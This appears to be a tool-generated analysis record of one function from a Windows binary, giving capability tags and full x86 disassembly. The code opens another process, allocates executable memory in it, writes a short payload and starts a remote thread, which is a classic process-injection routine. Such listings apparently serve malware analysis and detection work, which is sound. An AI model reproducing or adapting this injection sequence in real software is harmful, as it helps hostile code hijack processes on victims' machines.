Function at 0x45d6d8
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x45d8de
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x19], 0
cmp dword [ebp - 0x14], 0
je 0x45d8c8
call fcn.0045cbbc
push ebp
call fcn.0045d5d8
pop ecx
push 0
push 0
call dword [ebp - 8]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x45d7c9
xor eax, eax
push ebp
push 0x45d7c2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
push eax
push 1
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0xc]
test eax, eax
jl 0x45d7a6
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax]
dec ebx
test ebx, ebx
jl 0x45d7a6
inc ebx
xor esi, esi
lea eax, [ebp - 0x3c]
imul edi, esi, 0x47
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x30]
lea edx, [edx + edi*4 + 0x20]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x18]
call fcn.0040862c
test eax, eax
jne 0x45d7a2
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + edi*4 + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x30]
movzx eax, word [eax + edi*4 + 0x1c]
mov dword [ebp - 0x30], eax
jmp 0x45d7a6
inc esi
dec ebx
jne 0x45d75c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d7c9
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x10]
push ebp
call fcn.0045d6c4
pop ecx
ret
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x45d8c1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x45d8f0
push 0x45d8fc
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x463f01
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
mov dword [ebp - 0x34], 0x463f06
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
push 0x45d908
push 0x45d8fc
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x463f0d
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov dword [eax], edx
push 0x40
push 0x1000
push 0x15
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x28]
push eax
push 0x15
push 0x463f00
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
test eax, eax
je 0x45d8aa
mov ebx, dword [ebp - 0x30]
dec ebx
test ebx, ebx
jl 0x45d8aa
inc ebx
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
mov eax, dword [ebp - 0x38]
push eax
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
test eax, eax
seta byte [ebp - 0x19]
dec ebx
jne 0x45d883
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d8c8
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45d8e5
lea eax, [ebp - 0x3c]
call fcn.0040442c
ret